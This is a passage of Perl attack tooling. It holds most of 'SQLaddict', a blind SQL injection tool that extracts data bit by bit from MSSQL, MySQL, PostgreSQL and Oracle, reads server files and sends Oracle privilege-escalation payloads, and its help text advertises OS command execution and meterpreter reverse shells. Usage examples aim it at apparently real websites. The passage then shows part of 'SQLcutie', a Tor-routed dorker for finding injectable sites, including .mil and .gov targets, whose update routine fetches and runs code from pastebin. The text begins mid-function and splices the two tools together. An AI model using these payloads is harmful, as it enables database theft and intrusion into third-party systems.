						 $val = "$head and BITAND((ASCII($sql)), $bit)=0-- $tail";					
						} 
else {	
	if($type==2)
					  {	   
						 $val = "$head,(select case when BITAND((ASCII($sql)), $bit)=0 then  (select 1 from dual) else 1/0  end from dual)-- $tail";
					  } 
	  }

				   }  

}
		  		  
				  else{



					   if ($type==1) 
					  { 
						 $val = "$head and (select case when BITAND((ASCII($sql)), $bit)=0 then  (select 1 from dual) else 1/0  end from dual)=1 $tail";
					  }


			  	if($type==0)
					  {	   
			   $val = "$head and BITAND((ASCII($sql)), $bit)=0 $tail";
					  }
					  
			
					if($type==2)
					   {	   
						 $val = "$head,(select case when BITAND((ASCII($sql)), $bit)=0 then  (select 1 from dual) else 1/0  end from dual) $tail";
					    } 
				
				   
				   
				     
			   if($type==3)
				  {
				 $val = "$head and 1=(select case when BITAND((ASCII($sql)), $bit)=0 then  (select 1 from dual) else 1/0  end from dual)-- $tail";

				  }

		}

				  }
	
	if ($database==1) {
	
	
	if ($url =~ /'$/)		{
          if ($type==1) 
					  { 
						 $val = "$head and (select case when (ord($sql) $and $bit=0 ) then 1 else 1*(select table_name from information_schema.tables)end)='1 $tail";
					  }

			  else {	if($type==0)
					  {	   
			  $val = "$head and (ord($sql) $and $bit)='0 $tail";
					  } 
				  
						
						else {	if($type==2)
					  {	   
						 $val = "$head,(select case when (ord($sql) $and $bit=0 ) then 1 else 1*(select table_name from information_schema.tables)end)%23 $tail";
					  } 
				   }    } 
							
							
					}
		  	
				  else
					 
				{
					  if ($type==1) 
					  { 
						 $val = "$head  and (select case when (ord($sql) $and $bit=0 ) then 1 else 1*(select table_name from information_schema.tables)end)=1 $tail";
					  }
			  else {if($type==0)
					  {	   
			  $val = "$head and (ord($sql) $and $bit)=0 $tail";
					  } 
					 
				 

				 	else {	if($type==2)
					  {	   
						 $val = "$head,(select case when (ord($sql) $and $bit=0 ) then 1 else 1*(select table_name from information_schema.tables)end) $tail";
					  } 
				   }}  
						

				}


 }
        if (lc($method) eq "post") {
                $vars{$lastvar} = $lastval . $val;

        }
        $furl = $url;
        $furl =~ s/($lastvar=$lastval)/$1$val/;
        &createlwp if $rproxy || $ruagent;
        my $html=fetch("$furl");
        $hits++;
        foreach (split(/\n/,$html)) {
		lock @byte;
		
		if ($nomatch)
		{ 
                if (/\Q$nomatch\E/) {
                    $byte[$c]=1;
                    last;
                 } else { $byte[$c] = 0; }
				 }
				 else {
				  if (/\Q$match\E/) {
                    $byte[$c]=0;
                    last;
                 } else { $byte[$c] = 1; }
				 }
				 
				 
				 }
	lock $wait_me;
	threads->yield();
	$wait_me++;
}

sub sqlget									{

if ($database==0 ) {

my ($fsize,$i,$s);
        $s = "SUBSTRING(cast( len(len ( ($sql) ) )as varchar(100)),1,1)";
	my $lng .= getbyte($s);
	for ($i=1;$i<=$lng;$i++) {
		$s = "SUBSTRING(cast(len(($sql))as varchar(100)),$i,1)";
		$fsize.=getbyte($s);
	}
	$length = $fsize. "bytes";
	&bsqlintro();
	my $rsize = $start + 1;
	for ($i=$rsize;$i<=$fsize+1;$i++) {
		$s = "substring(cast(($sql)as varchar($fsize)),$i,1)";
		my $byte = getbyte($s);
		$solution .= $byte;
		print $byte;
 	}
}
if ($database==3)
{
	my ($fsize,$i,$s);
        $s = "SUBSTR(cast(length(length(($sql)))as varchar2(100)),1,1)";
	my $lng .= getbyte($s);
	for ($i=1;$i<=$lng;$i++) {
		$s = "SUBSTR(cast(length(($sql))as varchar2(100)),$i,1)";
		$fsize.=getbyte($s);
	}
	$length = $fsize. "bytes";
	&bsqlintro();

	my $rsize = $start + 1;
	for ($i=$rsize;$i<=$fsize+1;$i++) {
		$s = "substr(cast(($sql)as varchar2($fsize)),$i,1)";
		my $byte = getbyte($s);
		$solution .= $byte;
		print $byte;
 	}
}


if ($database==2) {
my ($fsize,$i,$s);
	
        $s = "SUBSTR(cast(length(length(($sql)))as varchar),1,1)";
	my $lng .= getbyte($s);
	for ($i=1;$i<=$lng;$i++) {
		$s = "SUBSTR(cast(length(($sql))as varchar),$i,1)";
		$fsize.=getbyte($s);
	}

	print "FSIZE: $fsize\n";
	$length = $fsize. "bytes";
	&bsqlintro();

	my $rsize = $start + 1;
	for ($i=$rsize;$i<=$fsize+1;$i++) {
		
		$s = "substr(cast(($sql)as varchar($fsize)),$i,1)";
		my $byte = getbyte($s);
		$solution .= $byte;
		print $byte;
 	}


}

	if ($database==1) {
		my ($fsize,$i,$s);
        $s = "mid(length(length(($sql))),1,1)";
	my $lng .= getbyte($s);
	for ($i=1;$i<=$lng;$i++) {
		$s = "mid(length(($sql)),$i,1)";
		$fsize.=getbyte($s);
	}
	$length = $fsize. "bytes";
	&bsqlintro();
	my $rsize = $start + 1;
	for ($i=$rsize;$i<=$fsize+1;$i++) {
		$s = "mid(($sql),$i,1)";
		my $byte = getbyte($s);
		$solution .= $byte;
		print $byte;
 	}
}
sub fileget {
	my ($lget,$fstr);
	if ($get =~ m/.*\/(.*)/) {
		$lget = $1; }
		$fstr = "0x".unpack("H*","$get");
	if ($get =~ m/.*\\(.*)/) {
		$lget = $1;
		$fstr = "\"$get\"";
	}

	my $rsize = $start + 1;
	if (-e "$lget" && ! $start) { 
		$rsize = -s "$lget";
		print "[!] ERROR: file ./$lget exists.\n"; 
		print "Erase or resume it with: -start $rsize\n";
		exit 1
	}
	my ($i,$fsize);
	$sql = "mid(length(length(load_file($fstr))),1,1)";
	my $lng .= getbyte($sql);
	for ($i=1;$i<=$lng;$i++) {
		my $find = 0;
		$sql = "mid(length(load_file($fstr)),$i,1)";
		$fsize.=getbyte($sql);
	}

	if ($fsize < "1") { print "[!] ERROR: file not found, check privilege\n"; exit 1 }
	$length = $fsize. "bytes";
	$sql = "load_file($get)";
	&bsqlintro();
	open FILE, ">>$lget";
	FILE->autoflush(1);
	print "\n= BEGIN =\n";
	my ($i,$b,$fcontent);
	$rsize = 1 if $rsize < 1;
	for ($i=$rsize;$i<=$fsize+1;$i++) {
		my $find = 0;
		my ($furl, $b_start, $b_end, $z);
		$sql = "mid(load_file($fstr),$i,1)";
		$fcontent=getbyte($sql);
		print $fcontent;
		print FILE "$fcontent";
 	}
	print "\n= END =\n";
        close FILE;
	$solution = "success";
	$sql = "$get";
}

&result();
sub httpintro {
	my ($strcookie, $strproxy, $struagent, $strtime, $i);
	print CYAN "=== INFOMATION "; print "="x42; print "\n";
	printf ("%12s %-8s %11s %-20s\n","SCHEMA:",$scheme,"HOST:",$authority);
	if ($ruagent) { $struagent="rnd.file:$ruagent" } else { $struagent = $uagent }
	printf ("%12s %-8s %11s %-20s\n","METHOD:",uc($method),"USERAGENT:",$struagent);
	printf ("%12s %-50s\n","PATH:", $path);
	foreach (keys %vars) {
		$i++;
		printf ("%12s %-15s = %-40s\n","PARAM[$i]:",$_,$vars{$_});
	}
	if (! $cookie) { $strcookie="(null)" } else { $strcookie = $cookie; }
	printf ("%12s %-50s\n","COOKIE:",$strcookie);
	if (! $proxy && !$rproxy) { $strproxy="(null)" } else { $strproxy = $proxy; }
	if ($rproxy) { $strproxy = "rnd.file:$rproxy" }
	printf ("%12s %-50s\n","proxy_host:",$strproxy);
	if (! $proxy_user) { $strproxy="(null)" } else { $strproxy = $proxy_user; }
	if (! $time && !$rtime) { $strtime="0sec (default)" } 
	if ( $time == 0) { $strtime="0 sec (default)" } 
	if ( $time == 1) { $strtime="15 secs" } 
	if ( $time == 2) { $strtime="5 mins" } 
	if ($rtime) { $strtime = "rnd.time:$rtime" }
	printf ("%12s %-50s\n","TIME:",$strtime);
	printf(RESET,"\n\n[!] Finding Length of SQL Query. Please Check your input\n\n");
}

sub bsqlintro {
	my ($strstart, $strblind, $strlen, $strmatch, $strsql);
	print "\n--[ blind sql injection options ]"; print "-"x47; print "\n";
	if (! $start) { $strstart = "(null)"; } else { $strstart = $start; }
	if (! $blind) { $strblind = "(last) $lastvar"; } else { $strblind = $blind; }
	printf ("%12s %-15s %11s %-20s\n","blind:",$strblind,"start:",$strstart);
	printf ("%12s %-15s %11s %-20s\n","database:",$database,"type:",$type);
	if ($length eq $default_length) { $strlen = "$length (default)" } else { $strlen = $length; }
	if ($sql eq $default_sql) { $strsql = "$sql (default)"; } else { $strsql = $sql; }
	printf ("%12s %-15s %11s %-20s\n","length:",$strlen,"sql:",$strsql);
	if ($amatch eq 1) { $strmatch = "auto match (This might be wrong)" } else { $strmatch = "match:"; }
	print " $strmatch $match\n";
	print "-"x80; print "\n\n";
	printf "\n Getting Data\n";
}

sub createlwp {
	my $proxyc;
	&getproxy;
	&getuagent if $ruagent;
	LWP::Debug::level('+') if $debug gt 3;
	$ua = new LWP::UserAgent(
        cookie_jar=> { file => "$$.cookie" }); 
	$ua->agent("$uagent");
	if (defined($proxy_user) && defined($proxy_pass)) {
		my ($pscheme, $pauthority, $ppath, $pquery, $pfragment) =
		$proxy =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
		$proxyc = $pscheme."://".$proxy_user.":".$proxy_pass."@".$pauthority;
	} else { $proxyc = $proxy; }
	
	$ua->proxy(['http'] => $proxyc) if $proxy;
	undef $proxy if $rproxy;
	undef $uagent if $ruagent;
}	

sub cookie {
	if ($cookie || $cookie =~ /; /) {
		foreach my $c (split /;/, $cookie) {
			my ($a,$b) = split /=/, $c;
			if ( ! $a || ! $b ) { die "Wrong cookie value. Use -h for help\n"; }
		}
	}
}

sub parseurl {
	($scheme, $authority, $path, $query, $fragment) =
		$url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|; 
	foreach my $varval (split /&/, $query) {
		my ($var, $val) = split /=/, $varval;
		$vars{$var} = $val;
		push(@varsb, $var);
	}
}

#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#                                                           #
#      Banner                                               #
#                                                           #
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
sub banner {
	print YELLOW,"\n    SQLaddict\n";
	print BLUE,"    madfedora\@protonmail.ch\n";
	print "    01/4/2016\n\n",RESET;
}
sub fmatch {
 my ($ok,$rtrn);
 my ($furla, $furlb,$quote) = ($_[0], $_[0],$_[1]);
 my ($html_a, $html_b);
 if (lc($method) eq "get") {
	$furla =~ s/($lastvar=$lastval)/$1 ${quote}1/;
	$furlb =~ s/($lastvar=$lastval)/$1 ${quote}0/;
 	$html_a = fetch("$furla");
	$html_b = fetch("$furlb");
 } elsif (lc($method) eq "post") {
   $vars{$lastvar} = $lastval . " ${quote}1";
   $html_a = fetch("$furla");
   $vars{$lastvar} = $lastval . " ${quote}0";
   $html_b = fetch("$furla");
   $vars{$lastvar} = $lastval;
 }

 if ($html_a eq $html_b) {
  $rtrn = "no vulnerable";
  return $rtrn;
 }


 my @h_a = split(/\n/,$html_a);
 my @h_b = split(/\n/,$html_b);
 foreach my $a (@h_a) {
	$ok = 0;
	if ($a =~ /\w/) {
   		foreach (@h_b) {
		    if ($a eq $_) {$ok = 1; }
		}
	} else { $ok = 1; }
   $rtrn = $a;
   last if $ok ne 1;
 }
 return $rtrn;
}

sub fetch {
	my $secs;
	if ($time == 0) { $secs = 0 }
	elsif ($time == 1) { $secs = 15 }
	elsif ($time == 2) { $secs = 300 }
	if ($rtime =~ /\d*-\d*/ && $time == 0) {
		my ($l,$p) = $rtime =~ m/(\d+-\d+)/;
		srand; $secs = int(rand($p-$l+1))+$l;
	} elsif ($rtime =~ /\d*-\d*/ && $time != 0) {
		print "Can't run with -time and -rtime. See -help.\n";
		exit 1;
	}
	sleep $secs;
	
	my $res;
	if (lc($method) eq "get") {
		my $fetch = $_[0];
		if ($cookie) {
			$res = $ua->get("$fetch", Cookie => "$cookie");
		} elsif (!$cookie) {
			$res = $ua->get("$fetch");
		}
	} elsif (lc($method) eq "post") {
		my($s, $a, $p, $q, $f) =
  	    $url=~m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|; 
		my $fetch = "$s://$a".$p;
		if ($cookie) {
	    	$res = $ua->post("$fetch",\%vars, Cookie => "$cookie");
		} elsif (!$cookie) {
		    $res = $ua->post("$fetch",\%vars);
		}
	} else {
		die "Wrong httpd method. Use -h for help\n";
	}
	my $html = $res->content();
	return $html;
}


sub getproxy {
	if ($rproxy && $proxy !~ /http/) {
		my @lproxy;
		open PROXY, $rproxy or die "Can't open file: $rproxy\n";
		while(<PROXY>) { push(@lproxy,$_) if ! /^#/ }
		close PROXY;
		srand; my $ind = rand @lproxy;
		$proxy = $lproxy[$ind];
	} elsif ($rproxy && $proxy =~ /http/)  {
		print "Can't run with -proxy and -rproxy. See -help.\n";
		exit 1;
	}
}

sub getuagent {
		my @uproxy;
		open UAGENT, $ruagent or die "Can't open file: $ruagent\n";
		while(<UAGENT>) { push(@uproxy,$_) if ! /^#/ }
		close UAGENT;
		srand; my $ind = rand @uproxy;
		$uagent = $uproxy[$ind];
		chop($uagent);
}

sub result {
	print "\r results:\n" ." $sql = $solution\n" if length($solution) > 0; 


if ($end==1)
	
{ 
print "\ndropping function sys.LinxReadFile()\n";
my $drop_func=" and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' drop function LinxReadFile'''';END;'';END;--','SYS',0,'1',0) from dual) is null--";
my $url_2=$url.$drop_func;
print "\n[!] Sending URL\n\n";
my $content = get_or_post($method,$url_2,$cookie,$proxy) ;
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/$match/i)) 
	  {
        
    die "[!] ERROR occured - could not drop the function\n";
        
		print RED "[!] Cannot proceed",RESET;
		exit 0;
	} 
  
  else 
	  {
	          
			  print "[!] No Errors Encountered - Function dropped\n";
              
  
		}

}

if ($type==3) 
	{

		

		print BLUE "\n[!] Revoking DBA from public\n\n",RESET;

        

my $revokedbafrompub=" and (select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT\".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''' revoke dba from public'''';END;'';END;--','SYS',0,'1',0) from dual) is null--";
my $url_2=$url.$revokedbafrompub;
print "\n[!] Sending URL\n\n";
my $content = get_or_post($method,$url_2,$cookie,$proxy) ;
die "[!] Couldn't get $url" unless defined $content;


  if(! ($content =~ m/$match/i)) 
	  {
        
    die RED "[!] ERROR occured - Could not revoke the permissions\n";
        
		print RED "[!] Cannot proceed",RESET;
		exit 0;
	} 
  
  else 
	  {
	          
		print BLUE "[!] No Errors Encountered - Permissions revoked\n",RESET;
           
	  }

	}
	my $blah= length($solution);
	if ($blah<2)
	{print RED "\n [!] ERROR\n";
	 print BLUE "-------------------------------------------------------";
	 print BOLD,MAGENTA"\n1) In a string based injection, vulnerable parameter must end with single quote(')\n\t eg. blah.php?id=foo'";
	 print "\n2) And don't forget to provide me a unique true response with -match";
	 print "\n3) Also Check that the SQL Query supplied returns only one row\n";
	 print "\n4) Speify the right database (-database)\n",RESET;
	 print BLUE "-------------------------------------------------------\n\n\n",RESET;
	}
}
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#                                                           #
#      Help menu                                            #
#                                                           #
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
sub help {
	print "\033[2J";
	print BOLD,BLUE,"\n\t\t\t::: Options :::\n\n",RESET;
        print BLUE "-----------------------------------------------\n\n";
	print CYAN,"   -sql\t\t",GREEN,"Valid SQL syntax to get; version(), database(),\n";
	print "\t\t\(select  table_name from inforamtion_schema.tables limit 1 offset 0)\n",CYAN; 
	print "   -get\t\t",GREEN,"If MySQL user is root, supply word readable file name\n",CYAN;
	print "   -blind\t",GREEN,"Parameter to inject sql. Default is last value of url\n",CYAN;
	print "   -match\t",GREEN,"*RECOMMENDED* String to match in valid query, Default is auto\n",CYAN;
	print "   -nomatch\t",GREEN,"String to match in invalid query (must only appear in false scenario)\n",CYAN;
	print "   -start\t",GREEN,"If the beginning of the string, use it.\n",CYAN;
	print "   -length\t",GREEN,"Maximum length of value. Default is $default_length.\n\n";
        print BLUE "-----------------------------------------------\n\n";
	print CYAN "   -time\t",GREEN,"timer options (Use: -time 0):\n\n";
	print " \t0\tdont wait. Default option.\n";
	print " \t1\twait 15 seconds\n";
	print " \t2\twait 5 minutes\n\n";
        print BLUE "-----------------------------------------------\n\n";
	print CYAN "   -type\t",GREEN,"Type of injection (Use: -type 0):\n\n";
	print " \t0\t(default) is blind injection based on True and False responses\n";
	print " \t1\tBlind injection based on True and Error responses\n";
	print " \t2\tInjection in order by and group by \n";
	print " \t3\tExtract data with SYS privileges[ORACLE dbms_export_extension exploit]\n";
	print " \t4\tOS code execution [ORACLE dbms_export_extension exploit]\n";
	print " \t5\tRead files [ORACLE dbms_export_extension exploit, based on java]\n";
	print " \t6\tCode execution [ORACLE DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC exploit]\n";
	print " \t7\tCode execution [ORACLE SYS.KUPP\$PROC.CREATE_MASTER_PROCESS(), DBA Privs]\n";
	print CYAN," \t\t-cmd=revshell",GREEN,"\t[Type 7 supports meterpreter payload execution, run generator.exe first]\n",CYAN;
	print " \t\t-cmd=cleanup",GREEN,"\t[run this after exiting metasploit session, it will clean up the traces]\n";
	print " \t8\tOS code execution [ORACLE DBMS_JAVA_TEST.FUNCALL, with JAVA IO Permissions]\n";
	print CYAN," \t\t-cmd=revshell",GREEN,"\t[Type 8 supports meterpreter payload execution, run generator.exe first]\n\n",CYAN;
	print "   -file\t",GREEN,"File to read [default C:\\boot.ini] \n\n",CYAN;
	print "   -stype\t",GREEN,"Execute command (Use: -stype 0):\n\n";
	print GREEN," \t0\tBased on Java will NOT work against XE\n";
	print " \t1\tAgainst Oracle 9 with plsql_native_make_utility\n";
	print " \t2\tAgainst Oracle 10 with dbms_scheduler \n\n";
        print BLUE "-----------------------------------------------\n\n";
	print CYAN "   -database\t",GREEN,"Database (Use: -database 0):\n";
	print "             \t(both -database 1 or -database=1 work; Recommended to put it before the url)\n\n";
	print " \t0\tMSSQL (Default)\n";
	print " \t1\tMYSQL\n";
	print " \t2\tPOSTGRES\n";
	print " \t3\tORACLE\n\n";
        print BLUE "-----------------------------------------------\n\n";
	print CYAN,"   -rtime\t",GREEN,"Wait random seconds, for example: \"10-20\".\n",CYAN;
	print "   -method\t",GREEN,"Http method to use; get or post. Default is $default_method.\n",CYAN;
	print "   -cmd\t\t",GREEN,"Command to execute (type 4 only). Default is \"$default_cmd.\"\n",CYAN;
	print "   -uagent\t",GREEN,"Http UserAgent header to use. Default is $default_useragent\n",CYAN;
	print "   -ruagent\t",GREEN,"File with random http UserAgent header to use.\n",CYAN;
	print "   -cookie\t",GREEN,"Http cookie header to use\n",CYAN;
	print "   -rproxy\t",GREEN,"Use random http proxy from file list.\n",CYAN;
	print "   -proxy\t",GREEN,"Use proxy http. Syntax: -proxy=http://proxy:port/\n",CYAN;
	print "   -proxy_user\t",GREEN,"Proxy http user\n",CYAN;
	print "   -proxy_pass\t",GREEN,"Proxy http password\n\n";
        print BLUE "-----------------------------------------------\n\n";
	print BOLD BLUE "\t\t\t::: Instruction :::\n",RESET;
	print BLUE "\t\t    (Go a bit Up for Options)\n\n";
	print YELLOW,"   Integer based Injection-->\n$0 -url http://www.host.com/path/script.php?foo=1000\\\' [options]\n";
	print "$0 -database 1 -type 1 -url http://www.fanboyscloset.com/cat.php?id=37\\\' -blind u -sql \'SELECT table_name FROM inforamtion_schema.tables LIMIT 1 OFFSET 0\'\n\n";
	print "   String Based Injection-->\n$0 -url http://www.host.com/path/script.php?foo=bar\\\' [options]\n";
    	print "$0 -url http://cloud2.gdnet.org/cms.php?id=latinamerica\\\' -method post -get -match latinamerica\n\n";
        print BLUE "-----------------------------------------------\n\n",RESET;
	&banner();
    exit(1);}}}
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#
#                                                           #
#      End                                                  #
#                                                           #
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++#

Source : https://github.com/madfedora

SQLcutie is a compact search engine dorker which able to search over 10 different types of error.
To able to use sqlcutie you need Perl’s modules:
+ LWP::UserAgent
+ HTTP::Request
+ Term::ANSIColor

sqlcutie

Changes on 1.8a:
– Hot fix for search engine’s regex
– Added more error types

With Function:
+ Wide detection range (MySQL, MsSQL, PostgreSQL, JDBC/Oracle, Access, MariaDB, DB2, Sybase)
+ Regconize dynamic dork queries (e.g. asp?id+site:us, (asp|aspx)?id=)
+ Works through Tor

Usage:

git clone https://github.com/madfedora/sqlcutie.git && cd sqlcutie
chmod +x sqlcutie.pl
or
perl sqlcutie.pl

./sqlcutie.pl -d php?id=
./sqlcutie.pl -c

Script:

#!/usr/bin/perl --
=for comment

MP""""""`MM MM'"""""`MMM M""MMMMMMMM                     dP   oo         
M  mmmmm..M M  .mmm,  MM M  MMMMMMMM                     88              
M.      `YM M  MMMMM  MM M  MMMMMMMM .d8888b. dP    dP d8888P dP .d8888b.
MMMMMMM.  M M  MM  M  MM M  MMMMMMMM 88'  `"" 88    88   88   88 88ooood8
M. .MMM'  M M  `MM    MM M  MMMMMMMM 88.  ... 88.  .88   88   88 88.  ...
Mb.     .dM MM.    .. `M M         M `88888P' `88888P'   dP   dP `88888P'
MMMMMMMMMMM MMMMMMMMMMMM MMMMMMMMMMM 

      *-----------------------------------------------------------*	 
      |                                                           |
      |      SQLCutie 1.8a                                        |
      |                                                           |
      |      Hot fix for 1.8                                      |
      |                                                           |
      *-----------------------------------------------------------*
=cut

use LWP::UserAgent;
use HTTP::Request;
use Term::ANSIColor qw(:constants);

#-----------------------------------------------------------#
#      Help menu                                            #
#-----------------------------------------------------------#

sub help
{
     system('clear');
     print title;
     print BOLD,"\n For pentesting and educational purposes only\n",RESET;

     print BLUE, "\n[!] Usage   : $0 <option>\n";
     print GREEN, "-----------------------------------";
     print BOLD, GREEN, "\n--|| Options\n\n", RESET;
     print GREEN,BOLD,"     -d           Dorking function (dh)\n";
     print "     -c           See dork list (press Q to quit)\n",RESET,GREEN;
     print "     -p           Define a proxy to use (ph)\n";
     print "     -o           Save result in a file\n";
     print "     -h           Print this help manual\n";
     print "     -r           Change log, description & term\n";
     print "     -dh          Print dork manual\n";
     print "     -ph          Print proxy manual\n";
     print "     -u           Update to latest version\n";
     print "-----------------------------------\n\n", RESET;
     exit();
}

sub title
{
    print "\n This program comes with ABSOLUTELY NO WARRANTY\n";
    print " This is free software and you are welcome to\n";
    print " redistribute it under certain conditions of GPL 3.0\n";
}

sub readme
{
	system('clear');
     print BOLD;
     print q(
    This program is free software: you can redistribute it and/or modify 
    it under the terms of the GNU General Public License as published by 
    the Free Software Foundation, either version 3 of the License, or    
    at your option any later version.                                  
                                                                          
    This program is distributed in the hope that it will be useful,      
    but WITHOUT ANY WARRANTY; without even the implied warranty of       
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the        
    GNU General Public License for more details.                         
                                                                          
    You should have received a copy of the GNU General Public License    
    along with this program.  If not, see http://www.gnu.org/licenses/);
     print "\n";
     print RESET;
	print GREEN, "\n\n    -----------------------------------\n";
	print BOLD,GREEN,"    SQLCutie ",YELLOW,"1.8a\n",RESET;
	print GREEN,"    This program is distributed under GNU GPL 3.0\n",RESET;
	print BLUE,"    http://pastebin.com/NdVZ5HVX\n",RESET;
	print GREEN, "    -----------------------------------\n\n";
	print GREEN,"  Changes on 1.8a:\n\n",RESET;
	print BLUE,BOLD,"     - Hot fix for search engine's regex\n";
	print BLUE,BOLD,"     - Added more error types\n",RESET;
	print BLUE,"\n $0 -h\n\n",RESET;
	exit();
}

sub dorkhelp
{
	system('clear');
	print title;
	print BOLD,"\n For pentesting and educational purposes only\n",RESET;
	print     BOLD,"\n\n[!] Info [!]\n\n",RESET;
	print     YELLOW " inurl:",GREEN,"    <- indicates Query in URL\n",RESET;
	print     YELLOW," intitle:",GREEN,"  <- indicates Query in Title\n",RESET;
	print     YELLOW," intext:",GREEN,"   <- indicates Query in File Content\n",RESET;
	print     YELLOW," related:",GREEN,"  <- Related Query Content\n",RESET;
	print     YELLOW," site:",GREEN,"     <- indicates URL Domain\n",RESET;
	print     YELLOW," filetype:",GREEN," <- indicate File Type\n",RESET;
	print     YELLOW," ext:",GREEN,"      <- Similar to filetype\n",RESET;
	print     YELLOW," all",GREEN,"       <- Sub-query 'all' works only like 'allinurl','allintitle','allrelated' and 'allintext'\n",RESET;
	print     YELLOW," *",GREEN,"         <- Wildcard\n",RESET;
	print     YELLOW," \"\"",GREEN,"        <- Matches Entire Query\n",RESET;
	print     YELLOW," ()",GREEN,"        <- Brackets for Boolean operators (See Below)\n",RESET;
	print     YELLOW," |",GREEN,"         <- OR (Use only in brackets with queries like 'inurl', 'intitle','filetype' or 'related'\n",RESET;
	print     YELLOW," &",GREEN,"         <- AND (Use only in brackets with a query)\n",RESET;
	print     YELLOW," +",GREEN,"         <- spacing (I'll fix this in next version so u can add actual space)\n\n",RESET;
	print     BOLD,"[!] Basic [!]\n\n",RESET;
	print     YELLOW," php?id\n",GREEN," -- Dorks for any PHP ext with param of 'id'\n",CYAN," Since we didn't indicate the exact query, it will get contents from anywhere (Doesn't need to be in URL)\n\n";
	print     YELLOW," inurl:php?id\n",GREEN," -- Dorks for PHP ext with param of 'id' only from URL\n",CYAN," See the difference?\n\n";	
	print     YELLOW," intitle:php?id\n",GREEN," -- Dorks for text 'php?id' in the title\n\n";
	print     YELLOW," site:gov+inurl:php?id\n",GREEN," -- Dorks top-lvl domain 'gov' with PHP ext and 'id' param only from URL\n\n";
	print     YELLOW," site:google.ca\n",GREEN," -- Dorks domain 'google.ca' only from URL\n\n";
	print     YELLOW," site:.google.ca\n",GREEN," -- Dorks ANY sub-domain(s) of 'google.ca' only from URL\n",CYAN," See the difference between a dot?\n\n";
	print     YELLOW," site:play.google.ca\n",GREEN," -- Dorks specifically sub-domain 'play.google.ca' only from URL\n\n";
	print     YELLOW," (asp|aspx)?id=\n",GREEN," -- Dorks URL ext 'asp' OR 'aspx' with 'id' param\n",CYAN," ONLY works inside",RED,BOLD," '' ",RESET,CYAN,"or",RED,BOLD," \"\"",RESET,CYAN,"\n Ex: $0 -d ",BOLD,"'(index|forum|cart).php?id='\n\n",RESET;
	print     YELLOW," cute+AND+nice+inurl:php?cat=\n",GREEN," -- Dorks for both words 'cute' & 'nice' and PHP ext with 'cat' param only from URL\n\n";
	print     YELLOW," (cart|forum)*?id=\n",GREEN," -- Dorks for sub-queries 'cart' or 'forum' in ANY available query (could be ext & vice versa) with 'id' param\n",CYAN," The * indicate any available result\n\n";
	print     YELLOW," php?(id|cat)=\n",GREEN," -- Dorks for PHP ext with param of 'id' or 'cat'\n\n";
	print     YELLOW," (asp|php)?(id|cat)=\n",GREEN," -- Dorks for PHP or ASP exts with param of 'id' or 'cat'\n\n",RESET;
	print     BOLD,"[!] Advanced [!]\n\n",RESET;
	print     YELLOW," inurl:\"wp-download.php?dl_id=\"\n",GREEN," -- SQLi Vuln CVE 2008-1646\n\n",RESET;
	print     YELLOW," allinurl:(asp|aspx|php)?(id=|q=)&*+site:mil\n",GREEN," -- Search for 'asp','aspx' OR 'php' with param 'id' OR 'q' AND any other param with top-lvl domain 'mil'\n\n",RESET;
	print     YELLOW," \"you have an error in your sql syntax\"+php?id=\n",GREEN," -- Precisely dorks for MySQLi vuln with PHP ext and 'id' param\n\n",RESET;
	print CYAN,"[=] For some reasons queries like inurl or intitle don't work inside single/double quotes, so avoid using them (this will be fixed in next 2-3 version)\n";
	print 		  "[=] ALWAYS use single/double quotes for queries which have () | & and/or \"\"\n";
	print 		  "[=] For long query string, avoid using inurl/intext/intitle/related (see 1st reason)\n";
	print 		  "[=] Play around with queries. Do not give up if it doesn't show. Remember! Tries different query if ones don't work!\n";
	print 		  "[=] Check out ",UNDERLINE,"http://www.exploit-db.com/google-dorks/",RESET,CYAN," for more special dorks! Or make your own specials!\n";
	print 		  "[=] If u still have question about query, email me at ",UNDERLINE,"madfedora\@protomail.ch\n",RESET;
	print BLUE,"\n$0 -h\n\n",RESET;
	exit();
}

sub proxyhelp
{
	system('clear');
	print title;
	print GREEN,"\n[?] Example: ./sqlcutie -p ",BOLD,"http://127.0.0.1:9050/\n";
	print "[!] To install TOR: $0 -t\n",RESET;
	print BLUE,"$0 -h\n\n",RESET;
	exit();
}

sub update
{
	system('clear');
	
	print title;
	print BOLD,"\n For pentesting and educational purposes only\n",RESET;
	print GREEN,"\n[!] Updating...\n";
	system('wget http://pastebin.com/raw.php?i=NdVZ5HVX -r -O ./sqlcutie && ls -l sqlcutie ; chmod u+x ./sqlcutie ; dos2unix ./sqlcutie');
        print BOLD,"";
	system('echo "For what changed run: ./sqlcutie -r"');
        print "\n",RESET;
	exit();
}

sub tor
{
	system('clear');
	
	print title;
	print GREEN,BOLD,"\n[!] You're installing TOR\n[!] Please enter your permission password to proceed if being prompted\n",YELLOW,"[!] Press Ctrl C to exit\n",RESET;
	system('sudo apt-get install tor || sudo yum install tor && service tor start');
	print YELLOW"If TOR didn't start automaticall, please start run 'tor' command in different terminal.",RESET;
	print BLUE,BOLD"\nTo use: $0 -d <input> -p http://127.0.0.1:9050/\n",RESET;
	exit();
}

sub conte
{
	system('w3m -dump http://pastebin.com/raw.php?i=UVcmJQQz|less');
}

sub variables
{
	my $i=0;
	foreach (@ARGV)
	{
        if ($ARGV[$i] eq "-d"){$search_dork = $ARGV[$i+1]}
